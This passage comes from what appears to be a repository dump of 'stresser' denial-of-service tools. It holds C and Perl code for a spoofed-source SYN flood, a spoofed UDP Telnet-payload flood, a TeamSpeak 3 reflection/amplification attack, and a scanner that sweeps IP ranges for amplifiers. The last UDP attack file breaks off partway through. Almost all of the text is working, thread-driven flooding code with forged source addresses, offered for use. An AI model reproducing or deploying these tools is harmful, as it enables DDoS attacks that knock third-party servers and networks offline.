 16 | #include <netinet/if_ether.h>
 17 | #include <netdb.h>
 18 | #include <net/if.h>
 19 | #include <arpa/inet.h>
 20 | #define MAX_PACKET_SIZE 4096
 21 | #define PHI 0x9e3779b9
 22 | static unsigned long int Q[4096], c = 362436;
 23 | volatile int limiter;
 24 | volatile unsigned int pps;
 25 | volatile unsigned int sleeptime = 100;
 26 | void init_rand(unsigned long int x)
 27 | {
 28 | 	int i;
 29 | 	Q[0] = x;
 30 | 	Q[1] = x + PHI;
 31 | 	Q[2] = x + PHI + PHI;
 32 | 	for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
 33 | }
 34 | unsigned long int rand_cmwc(void)
 35 | {
 36 | 	unsigned long long int t, a = 18782LL;
 37 | 	static unsigned long int i = 4095;
 38 | 	unsigned long int x, r = 0xfffffffe;
 39 | 	i = (i + 1) & 4095;
 40 | 	t = a * Q[i] + c;
 41 | 	c = (t >> 32);
 42 | 	x = t + c;
 43 | 	if (x < c) {
 44 | 	x++;
 45 | 	c++;
 46 | 	}
 47 | 	return (Q[i] = r - x);
 48 | }
 49 | unsigned short csum (unsigned short *buf, int count)
 50 | {
 51 | 	register unsigned long sum = 0;
 52 | 	while( count > 1 ) { sum += *buf++; count -= 2; }
 53 | 	if(count > 0) { sum += *(unsigned char *)buf; }
 54 | 	while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 55 | 	return (unsigned short)(~sum);
 56 | }
 57 | unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
 58 | 	struct tcp_pseudo
 59 | 	{
 60 | 	unsigned long src_addr;
 61 | 	unsigned long dst_addr;
 62 | 	unsigned char zero;
 63 | 	unsigned char proto;
 64 | 	unsigned short length;
 65 | 	} pseudohead;
 66 | 	unsigned short total_len = iph->tot_len;
 67 | 	pseudohead.src_addr=iph->saddr;
 68 | 	pseudohead.dst_addr=iph->daddr;
 69 | 	pseudohead.zero=0;
 70 | 	pseudohead.proto=IPPROTO_TCP;
 71 | 	pseudohead.length=htons(sizeof(struct tcphdr));
 72 | 	int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
 73 | 	unsigned short *tcp = malloc(totaltcp_len);
 74 | 	memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
 75 | 	memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
 76 | 	unsigned short output = csum(tcp,totaltcp_len);
 77 | 	free(tcp);
 78 | 	return output;
 79 | }
 80 | void setup_ip_header(struct iphdr *iph)
 81 | {
 82 | 	iph->ihl = 5;
 83 | 	iph->version = 4;
 84 | 	iph->tos = 0;
 85 | 	iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
 86 | 	iph->id = htonl(54321);
 87 | 	iph->frag_off = 0;
 88 | 	iph->ttl = MAXTTL;
 89 | 	iph->protocol = 6;
 90 | 	iph->check = 0;
 91 | 	iph->saddr = inet_addr("192.168.3.100");
 92 | }
 93 | void setup_tcp_header(struct tcphdr *tcph)
 94 | {
 95 | 	tcph->source = htons(5678);
 96 | 	tcph->seq = rand();
 97 | 	tcph->ack_seq = 1;
 98 | 	tcph->res2 = 0;
 99 | 	tcph->doff = 5;
100 | 	tcph->syn = 1;
101 | 	tcph->window = htons(65535);
102 | 	tcph->check = 0;
103 | 	tcph->urg_ptr = 0;
104 | }
105 | void *flood(void *par1)
106 | {
107 | 	char *td = (char *)par1;
108 | 	char datagram[MAX_PACKET_SIZE];
109 | 	struct iphdr *iph = (struct iphdr *)datagram;
110 | 	struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
111 | 	struct sockaddr_in sin;
112 | 	sin.sin_family = AF_INET;
113 | 	sin.sin_port = htons (rand() % 20480);
114 | 	sin.sin_addr.s_addr = inet_addr(td);
115 | 	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
116 | 	if(s < 0){
117 | 	fprintf(stderr, ":: cant open raw socket. got root?\n");
118 | 	exit(-1);
119 | 	}
120 | 	memset(datagram, 0, MAX_PACKET_SIZE);
121 | 	setup_ip_header(iph);
122 | 	setup_tcp_header(tcph);
123 | 	tcph->dest = htons (rand() % 20480);
124 | 	iph->daddr = sin.sin_addr.s_addr;
125 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
126 | 	int tmp = 1;
127 | 	const int *val = &tmp;
128 | 	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
129 | 	fprintf(stderr, ":: motherfucking error.\n");
130 | 	exit(-1);
131 | 	}
132 | 	init_rand(time(NULL));
133 | 	register unsigned int i;
134 | 	i = 0;
135 | 	while(1){
136 | 	sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
137 | 	iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
138 | 	iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
139 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
140 | 	tcph->seq = rand_cmwc() & 0xFFFF;
141 | 	tcph->source = htons(rand_cmwc() & 0xFFFF);
142 | 	tcph->check = 0;
143 | 	tcph->check = tcpcsum(iph, tcph);
144 | 	pps++;
145 | 	if(i >= limiter)
146 | 	{
147 | 	i = 0;
148 | 	usleep(sleeptime);
149 | 	}
150 | 	i++;
151 | 	}
152 | }
153 | int main(int argc, char *argv[ ])
154 | {
155 | 	if(argc < 5){
156 | 		fprintf(stderr, "Invalid parameters!\n");
157 | 		fprintf(stdout, "Usage: %s <IP> <threads <throttle, -1 for no throttle> <time>\n", argv[0]);
158 | 		exit(-1);
159 | 	}
160 | 	int num_threads = atoi(argv[2]);
161 | 	int maxpps = atoi(argv[3]);
162 | 	limiter = 0;
163 | 	pps = 0;
164 | 	pthread_t thread[num_threads];
165 | 	int multiplier = 20;
166 | 	int i;
167 | 	for(i = 0;i<num_threads;i++){
168 | 	pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
169 | 	}
170 | 	fprintf(stdout, ":: sending all the packets..\n");
171 | 	for(i = 0;i<(atoi(argv[4])*multiplier);i++)
172 | 	{
173 | 	usleep((1000/multiplier)*1000);
174 | 	if((pps*multiplier) > maxpps)
175 | 	{
176 | 	if(1 > limiter)
177 | 	{
178 | 	sleeptime+=100;
179 | 	} else {
180 | 	limiter--;
181 | 	}
182 | 	} else {
183 | 	limiter++;
184 | 	if(sleeptime > 25)
185 | 	{
186 | 	sleeptime-=25;
187 | 	} else {
188 | 	sleeptime = 0;
189 | 	}
190 | 	}
191 | 	pps = 0;
192 | 	}
193 | 	return 0;
194 | }


--------------------------------------------------------------------------------
/Stresser/SYN/synflooder.pl:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/perl
 2 | # USAGE: sudo perl synflooder.pl source_ip destination_ip destination_port
 3 | #
 4 | # Find your source_ip with "ifconfig" command
 5 | # Requirements:
 6 | # 1. Perl
 7 | # 2. NET::RawIP Module (sudo apt-get install libnet-rawip-perl)
 8 | # 3. A Clue (don't do this on anyone else's equipment)
 9 | 
10 | use Net::RawIP;
11 | 
12 | if($#ARGV == 2) {
13 | ($source,$destination,$port) = @ARGV;
14 | $a = new Net::RawIP;
15 | while(1) {
16 | $src_port = rand(65534)+1;
17 | $a->set({ip => {saddr => $source,daddr => $destination},tcp => {source => $src_port,dest => $port, syn => 1}});
18 | $a->send;
19 | }
20 | }
21 | else {
22 | print "USAGE: sudo perl synflooder.pl source_address destination_address destination_port \n";
23 | }
24 | 


--------------------------------------------------------------------------------
/Stresser/Spoofed TELNET/spoofed_telnet.c:
--------------------------------------------------------------------------------
  1 | #include <pthread.h>
  2 | #include <unistd.h>
  3 | #include <stdio.h>
  4 | #include <stdlib.h>
  5 | #include <string.h>
  6 | #include <sys/socket.h>
  7 | #include <netinet/ip.h>
  8 | #include <netinet/udp.h>
  9 |  
 10 | #define MAX_PACKET_SIZE 4096
 11 | #define PHI 0x9e3779b9
 12 |  
 13 | static unsigned long int Q[4096], c = 362436;
 14 | static unsigned int floodport;
 15 | volatile int limiter;
 16 | volatile unsigned int pps;
 17 | volatile unsigned int sleeptime = 100;
 18 |  
 19 | void init_rand(unsigned long int x)
 20 | {
 21 |         int i;
 22 |         Q[0] = x;
 23 |         Q[1] = x + PHI;
 24 |         Q[2] = x + PHI + PHI;
 25 |         for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
 26 | }
 27 | unsigned long int rand_cmwc(void)
 28 | {
 29 |         unsigned long long int t, a = 18782LL;
 30 |         static unsigned long int i = 4095;
 31 |         unsigned long int x, r = 0xfffffffe;
 32 |         i = (i + 1) & 4095;
 33 |         t = a * Q[i] + c;
 34 |         c = (t >> 32);
 35 |         x = t + c;
 36 |         if (x < c) {
 37 |                 x++;
 38 |                 c++;
 39 |         }
 40 |         return (Q[i] = r - x);
 41 | }
 42 | unsigned short csum (unsigned short *buf, int count)
 43 | {
 44 |         register unsigned long sum = 0;
 45 |         while( count > 1 ) { sum += *buf++; count -= 2; }
 46 |         if(count > 0) { sum += *(unsigned char *)buf; }
 47 |         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 48 |         return (unsigned short)(~sum);
 49 | }
 50 |  
 51 | void setup_ip_header(struct iphdr *iph)
 52 | {
 53 |         iph->ihl = 5;
 54 |         iph->version = 4;
 55 |         iph->tos = 0;
 56 |         iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 33;
 57 |         iph->id = htonl(54321);
 58 |         iph->frag_off = 0;
 59 |         iph->ttl = MAXTTL;
 60 |         iph->protocol = IPPROTO_UDP;
 61 |         iph->check = 0;
 62 |         iph->saddr = inet_addr("192.168.3.100");
 63 | }
 64 |  
 65 | void setup_udp_header(struct udphdr *udph)
 66 | {
 67 |         udph->source = htons(27015);
 68 |     udph->dest = htons(27015);
 69 |     udph->check = 0;
 70 |         void *data = (void *)udph + sizeof(struct udphdr);
 71 |         memset(data, 0xFF, 4);
 72 |         strcpy(data+4, "\xff\xfb\x25\xff\xfd\x26\xff\xfb\x26\xff\xfd\x03\xff\xfb\x18\xff\xfb\x1f\xff\xfb\x20\xff\xfb\x21\xff\xfb\x22\xff\xfb\x27\xff\xfd\x05");
 73 |     udph->len=htons(sizeof(struct udphdr) + 33);
 74 | }
 75 |  
 76 | void *flood(void *par1)
 77 | {
 78 |         char *td = (char *)par1;
 79 |         char datagram[MAX_PACKET_SIZE];
 80 |         struct iphdr *iph = (struct iphdr *)datagram;
 81 |         struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
 82 |        
 83 |         struct sockaddr_in sin;
 84 |         sin.sin_family = AF_INET;
 85 |         sin.sin_port = htons(17015);
 86 |         sin.sin_addr.s_addr = inet_addr(td);
 87 |  
 88 |         int s = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
 89 |         if(s < 0){
 90 |                 fprintf(stderr, "Could not open raw socket.\n");
 91 |                 exit(-1);
 92 |         }
 93 |         memset(datagram, 0, MAX_PACKET_SIZE);
 94 |         setup_ip_header(iph);
 95 |         setup_udp_header(udph);
 96 |  
 97 |         iph->daddr = sin.sin_addr.s_addr;
 98 |         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
 99 |  
100 |         int tmp = 1;
101 |         const int *val = &tmp;
102 |         if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
103 |                 fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
104 |                 exit(-1);
105 |         }
106 |  
107 |         init_rand(time(NULL));
108 |         register unsigned int i;
109 |         i = 0;
110 |         while(1){
111 |                 sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
112 |                 iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
113 |                 iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
114 |                 iph->check = csum ((unsigned short *) datagram, iph->tot_len);
115 |                
116 |                 pps++;
117 |                 if(i >= limiter)
118 |                 {
119 |                         i = 0;
120 |                         usleep(sleeptime);
121 |                 }
122 |                 i++;
123 |         }
124 | }
125 | int main(int argc, char *argv[ ])
126 | {
127 |         if(argc < 5){
128 |                 fprintf(stderr, "Invalid parameters!\n");
129 |                 fprintf(stdout, "Telnet Khaos\nUsage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
130 |                 exit(-1);
131 |         }
132 |  
133 |         fprintf(stdout, "Setting up Sockets...\n");
134 |  
135 |         int num_threads = atoi(argv[2]);
136 |         int maxpps = atoi(argv[3]);
137 |         limiter = 0;
138 |         pps = 0;
139 |         pthread_t thread[num_threads];
140 |        
141 |         int multiplier = 20;
142 |  
143 |         int i;
144 |         for(i = 0;i<num_threads;i++){
145 |                 pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
146 |         }
147 |         fprintf(stdout, "Starting Flood...\n");
148 |         for(i = 0;i<(atoi(argv[4])*multiplier);i++)
149 |         {
150 |                 usleep((1000/multiplier)*1000);
151 |                 if((pps*multiplier) > maxpps)
152 |                 {
153 |                         if(1 > limiter)
154 |                         {
155 |                                 sleeptime+=100;
156 |                         } else {
157 |                                 limiter--;
158 |                         }
159 |                 } else {
160 |                         limiter++;
161 |                         if(sleeptime > 25)
162 |                         {
163 |                                 sleeptime-=25;
164 |                         } else {
165 |                                 sleeptime = 0;
166 |                         }
167 |                 }
168 |                 pps = 0;
169 |         }
170 |  
171 |         return 0;
172 | }


--------------------------------------------------------------------------------
/Stresser/TCP/TCP:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/Mass-Malicious-Script-Dump/824f48a25b7f12195a2afaf410d5f936837192c0/Stresser/TCP/TCP


--------------------------------------------------------------------------------
/Stresser/TS3/teamspeak_3_amp_attack.c:
--------------------------------------------------------------------------------
  1 | /* TeamSpeak 3 Amplification Attack Script */
  2 | #include <time.h>
  3 | #include <pthread.h>
  4 | #include <unistd.h>
  5 | #include <stdio.h>
  6 | #include <stdlib.h>
  7 | #include <string.h>
  8 | #include <sys/socket.h>
  9 | #include <netinet/ip.h>
 10 | #include <netinet/udp.h>
 11 | #include <arpa/inet.h>
 12 | #define MAX_PACKET_SIZE 8192
 13 | #define PHI 0x9e3779b9
 14 | #define LINUX system // redefine this to #define BSD system if compiling on BSD
 15 | static uint32_t Q[4096], c = 362436;
 16 | struct list
 17 | {
 18 |     struct sockaddr_in data;
 19 |     struct list *next;
 20 |     struct list *prev;
 21 | };
 22 | struct list *head;
 23 | struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
 24 | void init_rand(uint32_t x){
 25 |       int i;
 26 |       Q[0] = x;
 27 |       Q[1] = x + PHI;
 28 |       Q[2] = x + PHI + PHI;
 29 |       for (i = 3; i < 4096; i++)
 30 |       {
 31 |       Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
 32 |     }
 33 | }
 34 | 
 35 | uint32_t rand_cmwc(void)
 36 |     {
 37 |       uint64_t t, a = 18782LL;
 38 |       static uint32_t i = 4095;
 39 |       uint32_t x, r = 0xffffffe;
 40 |       i = (i + 1) & 4095;
 41 |       t = a * Q[i] + c;
 42 |       c = (t >> 32);
 43 |       x = t + c;
 44 |       if (x < c) {
 45 |             x++;
 46 |             c++;
 47 |       }
 48 |       return (Q[i] = r - x);
 49 |     }
 50 | 
 51 |     /* function for header checksums */
 52 | unsigned short csum (unsigned short *buf, int nwords)
 53 |     {
 54 |       unsigned long sum;
 55 |       for (sum = 0; nwords > 0; nwords--)
 56 |       sum += *buf++;
 57 |       sum = (sum >> 16) + (sum & 0xffff);
 58 |       sum += (sum >> 16);
 59 |       return (unsigned short)(~sum);
 60 |     }
 61 | 
 62 | void setup_ip_header(struct iphdr *iph)
 63 |     {
 64 |       iph->ihl = 5;
 65 |       iph->version = 4;
 66 |       iph->tos = 0;
 67 |       iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 14;
 68 |       iph->id = htonl(54321);
 69 |       iph->frag_off = 0;
 70 |       iph->ttl = MAXTTL;
 71 |       iph->protocol = IPPROTO_UDP;
 72 |       iph->check = 0;
 73 |       iph->saddr = inet_addr("192.168.3.100");
 74 |     }
 75 | 
 76 | void setup_udp_header(struct udphdr *udph)
 77 |     {
 78 |       udph->source = htons(57608);
 79 |       udph->dest = htons(9987);
 80 |       udph->check = 0;
 81 | 	  memcpy((void *)udph + sizeof(struct udphdr), "\x05\xca\x7f\x16\x9c\x11\xf9\x89\x00\x00\x00\x00\x02", 14);
 82 |       udph->len=htons(sizeof(struct udphdr) + 14);
 83 |     }
 84 | 
 85 | void *flood(void *par1)
 86 |     {
 87 |       struct thread_data *td = (struct thread_data *)par1;
 88 |       char datagram[MAX_PACKET_SIZE];
 89 |       struct iphdr *iph = (struct iphdr *)datagram;
 90 |       struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
 91 |       struct sockaddr_in sin = td->sin;
 92 |       struct  list *list_node = td->list_node;
 93 |       int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
 94 |       if(s < 0){
 95 |             fprintf(stderr, "Could not open raw socket.\n");
 96 |             exit(-1);
 97 |       }
 98 |       init_rand(time(NULL));
 99 |       memset(datagram, 0, MAX_PACKET_SIZE);
100 |       setup_ip_header(iph);
101 |       setup_udp_header(udph);
102 |       udph->source = sin.sin_port;
103 |       iph->saddr = sin.sin_addr.s_addr;
104 |       iph->daddr = list_node->data.sin_addr.s_addr;
105 |       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
106 |       int tmp = 1;
107 |       const int *val = &tmp;
108 |       if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
109 |             fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
110 |             exit(-1);
111 |       }
112 |       int i=0;
113 |       while(1){
114 |             sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
115 |             list_node = list_node->next;
116 |             iph->daddr = list_node->data.sin_addr.s_addr;
117 |             iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
118 |             if(i==5)
119 |             {
120 |             usleep(0);
121 |             i=0;
122 |             }
123 |             i++;
124 |       }
125 |     }
126 | int main(int argc, char *argv[ ])
127 |     {
128 |       if(argc < 4){
129 |             fprintf(stderr, "Invalid parameters!\n");
130 |             fprintf(stdout, "Usage: %s <IP> <port> <reflection file> <threads> <time>\n", argv[0]);
131 |             exit(-1);
132 |       }
133 |       int i = 0;
134 |       head = NULL;
135 |       fprintf(stdout, "Setting up Sockets...\n");
136 |       int max_len = 128;
137 |       char *buffer = (char *) malloc(max_len);
138 |       buffer = memset(buffer, 0x00, max_len);
139 |       int num_threads = atoi(argv[4]);
140 |       FILE *list_fd = fopen(argv[3],  "r");
141 |       while (fgets(buffer, max_len, list_fd) != NULL) {
142 |             if ((buffer[strlen(buffer) - 1] == '\n') ||
143 |             (buffer[strlen(buffer) - 1] == '\r')) {
144 |             buffer[strlen(buffer) - 1] = 0x00;
145 |             if(head == NULL)
146 |             {
147 |             head = (struct list *)malloc(sizeof(struct list));
148 |             bzero(&head->data, sizeof(head->data));
149 |             head->data.sin_addr.s_addr=inet_addr(buffer);
150 |             head->next = head;
151 |             head->prev = head;
152 |             } else {
153 |             struct list *new_node = (struct list *)malloc(sizeof(struct list));
154 |             memset(new_node, 0x00, sizeof(struct list));
155 |             new_node->data.sin_addr.s_addr=inet_addr(buffer);
156 |             new_node->prev = head;
157 |             new_node->next = head->next;
158 |             head->next = new_node;
159 |             }
160 |             i++;
161 |             } else {
162 |             continue;
163 |             }
164 |       }
165 |       struct list *current = head->next;
166 |       pthread_t thread[num_threads];
167 |       struct sockaddr_in sin;
168 |       sin.sin_family = AF_INET;
169 |       sin.sin_port = htons(atoi(argv[2]));
170 |       sin.sin_addr.s_addr = inet_addr(argv[1]);
171 |       struct thread_data td[num_threads];
172 |       for(i = 0;i<num_threads;i++){
173 |             td[i].thread_id = i;
174 |             td[i].sin= sin;
175 |             td[i].list_node = current;
176 |             pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
177 |       }
178 |       fprintf(stdout, "Starting Flood...\n");
179 |       if(argc > 5)
180 |       {
181 |             sleep(atoi(argv[5]));
182 |       } else {
183 |             while(1){
184 |             sleep(1);
185 |             }
186 |       }
187 |       return 0;
188 |     }


--------------------------------------------------------------------------------
/Stresser/TS3/teamspeak_3_amp_scanner.c:
--------------------------------------------------------------------------------
  1 | /* TeamSpeak 3 Amp Scanner Source */
  2 | #include <pthread.h>
  3 | #include <unistd.h>
  4 | #include <stdio.h>
  5 | #include <stdlib.h>
  6 | #include <string.h>
  7 | #include <sys/socket.h>
  8 | #include <netinet/in.h>
  9 | #include <signal.h>
 10 | #include <sys/time.h>
 11 | #include <sys/types.h>
 12 | #include <math.h>
 13 | #include <ctype.h>
 14 | #include <errno.h>
 15 | #include <arpa/inet.h>
 16 | #include <netinet/ip.h>
 17 | #include <netinet/udp.h>
 18 | 
 19 | volatile int running_threads = 0;
 20 | volatile int found_srvs = 0;
 21 | volatile unsigned long per_thread = 0;
 22 | volatile unsigned long start = 0;
 23 | volatile unsigned long scanned = 0;
 24 | volatile int sleep_between = 0;
 25 | volatile int bytes_sent = 0;
 26 | volatile unsigned long hosts_done = 0;
 27 | FILE *fd;
 28 | char payload[] = "\x05\xca\x7f\x16\x9c\x11\xf9\x89\x00\x00\x00\x00\x02";
 29 | size = 14;
 30 | 
 31 | void *flood(void *par1)
 32 | {
 33 |     running_threads++;
 34 |     int thread_id = (int)par1;
 35 |     unsigned long start_ip = htonl(ntohl(start)+(per_thread*thread_id));
 36 |     unsigned long end = htonl(ntohl(start)+(per_thread*(thread_id+1)));
 37 |     unsigned long w;
 38 |     int y;
 39 |     unsigned char buf[65536];
 40 |     memset(buf, 0x01, 1);
 41 |     int sizeofpayload = 1;
 42 |     int sock;
 43 |     if((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))<0) {
 44 |         perror("cant open socket");
 45 |         exit(-1);
 46 |     }
 47 |     for(w=ntohl(start_ip);w<htonl(end);w++)
 48 |     {
 49 |         struct sockaddr_in servaddr;
 50 |         bzero(&servaddr, sizeof(servaddr));
 51 |         servaddr.sin_family = AF_INET;
 52 |         servaddr.sin_addr.s_addr=htonl(w);
 53 |         servaddr.sin_port=htons(9987); //PORT TO SCAN
 54 |         sendto(sock,payload,size,0, (struct sockaddr *)&servaddr,sizeof(servaddr));
 55 |         bytes_sent+=size;
 56 |         scanned++;
 57 |         hosts_done++;
 58 |     }
 59 |     close(sock);
 60 |     running_threads--;
 61 |     return;
 62 | }
 63 | 
 64 | void sighandler(int sig)
 65 | {
 66 |     fclose(fd);
 67 |     printf("\n");
 68 |     exit(0);
 69 | }
 70 | 
 71 | void *recievethread()
 72 | {
 73 |     printf("\n");
 74 |     int saddr_size, data_size, sock_raw;
 75 |     struct sockaddr_in saddr;
 76 |     struct in_addr in;
 77 | 
 78 |     unsigned char *buffer = (unsigned char *)malloc(65536);
 79 |     sock_raw = socket(AF_INET , SOCK_RAW , IPPROTO_UDP);
 80 |     if(sock_raw < 0)
 81 |     {
 82 |         printf("Socket Error\n");
 83 |         exit(1);
 84 |     }
 85 |     while(1)
 86 |     {
 87 |         saddr_size = sizeof saddr;
 88 |         data_size = recvfrom(sock_raw , buffer , 65536 , 0 , (struct sockaddr *)&saddr , &saddr_size);
 89 |         if(data_size <0 )
 90 |         {
 91 |             printf("Recvfrom error , failed to get packets\n");
 92 |             exit(1);
 93 |         }
 94 |         struct iphdr *iph = (struct iphdr*)buffer;
 95 |         if(iph->protocol == 17)
 96 |         {
 97 |             unsigned short iphdrlen = iph->ihl*4;
 98 |             struct udphdr *udph = (struct udphdr*)(buffer + iphdrlen);
 99 |             unsigned char* payload = buffer + iphdrlen + 8;
100 |             if(ntohs(udph->source) == 9987) //PORT TO SCAN
101 |             {
102 |                 int body_length = data_size - iphdrlen - 8;
103 | 
104 |                 if (body_length > 40)
105 | 
106 |                 {
107 |                 found_srvs++;
108 | 
109 |                 fprintf(fd,"%s %d\n",inet_ntoa(saddr.sin_addr),body_length);
110 |                 fflush(fd);
111 | 
112 |                 }
113 | 
114 |             }
115 |         }
116 | 
117 |     }
118 |     close(sock_raw);
119 | 
120 | }
121 | 
122 | int main(int argc, char *argv[ ])
123 | {
124 | 
125 |     if(argc < 6){
126 | 
127 |         fprintf(stdout, "Usage  :   %s [START IP RANGE] [END] [.txt] [THREADS] [DELAY] \n", argv[0]);
128 |         exit(-1);
129 |     }
130 |     fd = fopen(argv[3], "a");
131 |     sleep_between = atoi(argv[5]);
132 | 
133 |     signal(SIGINT, &sighandler);
134 | 
135 |     int threads = atoi(argv[4]);
136 |     pthread_t thread;
137 | 
138 |     pthread_t listenthread;
139 |     pthread_create( &listenthread, NULL, &recievethread, NULL);
140 | 
141 |     char *str_start = malloc(18);
142 |     memset(str_start, 0, 18);
143 |     str_start = argv[1];
144 |     char *str_end = malloc(18);
145 |     memset(str_end, 0, 18);
146 |     str_end = argv[2];
147 |     start = inet_addr(str_start);
148 |     per_thread = (ntohl(inet_addr(str_end)) - ntohl(inet_addr(str_start))) / threads;
149 |     unsigned long toscan = (ntohl(inet_addr(str_end)) - ntohl(inet_addr(str_start)));
150 |     int i;
151 |     for(i = 0;i<threads;i++){
152 |         pthread_create( &thread, NULL, &flood, (void *) i);
153 |     }
154 |     sleep(1);
155 |     printf("Scan in Progress \n");
156 |     char *temp = (char *)malloc(17);
157 |     memset(temp, 0, 17);
158 |     sprintf(temp, "IP Found");
159 |     printf("%-16s", temp);
160 |     memset(temp, 0, 17);
161 |     sprintf(temp, "IP/s");
162 |     printf("%-16s", temp);
163 |     memset(temp, 0, 17);
164 |     sprintf(temp, "Byts/s");
165 |     printf("%-16s", temp);
166 |     memset(temp, 0, 17);
167 |     sprintf(temp, "Threads");
168 |     printf("%-16s", temp);
169 |     memset(temp, 0, 17);
170 |     sprintf(temp, "Percent");
171 |     printf("%s", temp);
172 |     printf("\n");
173 | 
174 |     char *new;
175 |     new = (char *)malloc(16*6);
176 |     while (running_threads > 0)
177 |     {
178 |         printf("\r");
179 |         memset(new, '\0', 16*6);
180 |         sprintf(new, "%s|%-15lu", new, found_srvs);
181 |         sprintf(new, "%s|%-15d", new, scanned);
182 |         sprintf(new, "%s|%-15d", new, bytes_sent);
183 |         sprintf(new, "%s|%-15d", new, running_threads);
184 |         memset(temp, 0, 17);
185 |         int percent_done=((double)(hosts_done)/(double)(toscan))*100;
186 |         sprintf(temp, "%d%%", percent_done);
187 |         sprintf(new, "%s|%s", new, temp);
188 |         printf("%s", new);
189 |         fflush(stdout);
190 |         bytes_sent=0;
191 |         scanned = 0;
192 |         sleep(1);
193 |     }
194 |     printf("\n");
195 |     fclose(fd);
196 |     return 0;
197 | }


--------------------------------------------------------------------------------
/Stresser/UDP/udp.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/Mass-Malicious-Script-Dump/824f48a25b7f12195a2afaf410d5f936837192c0/Stresser/UDP/udp.txt


--------------------------------------------------------------------------------
/Stresser/UDP/udp_attack.c:
--------------------------------------------------------------------------------
  1 | #include <time.h>
  2 | #include <arpa/inet.h>
  3 | #include <ifaddrs.h>
  4 | #include <netdb.h>
  5 | #include <pthread.h>
  6 | #include <unistd.h>
  7 | #include <stdio.h>
  8 | #include <stdlib.h>
  9 | #include <string.h>
 10 | #include <sys/socket.h>
 11 | #include <netinet/ip.h>
 12 | #include <netinet/udp.h>
 13 |  
 14 | #define MAX_PACKET_SIZE 4096
 15 | #define PHI 0x9e3779b9
 16 |  
 17 | static uint32_t Q[4096], c = 362436;
 18 | 
 19 | struct thread_data{
 20 |         int pks;
 21 |         int throttle;
 22 | 	int thread_id;
 23 | 	unsigned int floodport;
 24 | 	struct sockaddr_in sin;
 25 | };
 26 |  
 27 | void init_rand(uint32_t x)
 28 | {
 29 |         int i;
 30 |  
 31 |         Q[0] = x;
 32 |         Q[1] = x + PHI;
 33 |         Q[2] = x + PHI + PHI;
 34 |  
 35 |         for (i = 3; i < 4096; i++)
 36 |                 Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
 37 | }
 38 |  
 39 | uint32_t rand_cmwc(void)
 40 | {
 41 |         uint64_t t, a = 18782LL;
 42 |         static uint32_t i = 4095;
 43 |         uint32_t x, r = 0xfffffffe;
 44 |         i = (i + 1) & 4095;
 45 |         t = a * Q[i] + c;
 46 |         c = (t >> 32);
 47 |         x = t + c;
 48 |         if (x < c) {
 49 |                 x++;
 50 |                 c++;
 51 |         }
 52 |         return (Q[i] = r - x);
 53 | }
 54 | 
 55 | char *myStrCat (char *s, char *a) {
 56 |     while (*s != '\0') s++;
 57 |     while (*a != '\0') *s++ = *a++;
 58 |     *s = '\0';
 59 |     return s;
 60 | }
 61 | 
 62 | char *replStr (char *str, size_t count) {
 63 |     if (count == 0) return NULL;
 64 |     char *ret = malloc (strlen (str) * count + count);
 65 |     if (ret == NULL) return NULL;
 66 |     *ret = '\0';
 67 |     char *tmp = myStrCat (ret, str);
 68 |     while (--count > 0) {
 69 |         tmp = myStrCat (tmp, str);
 70 |     }
 71 |     return ret;
 72 | }
 73 | 
 74 | 
 75 | /* function for header checksums */
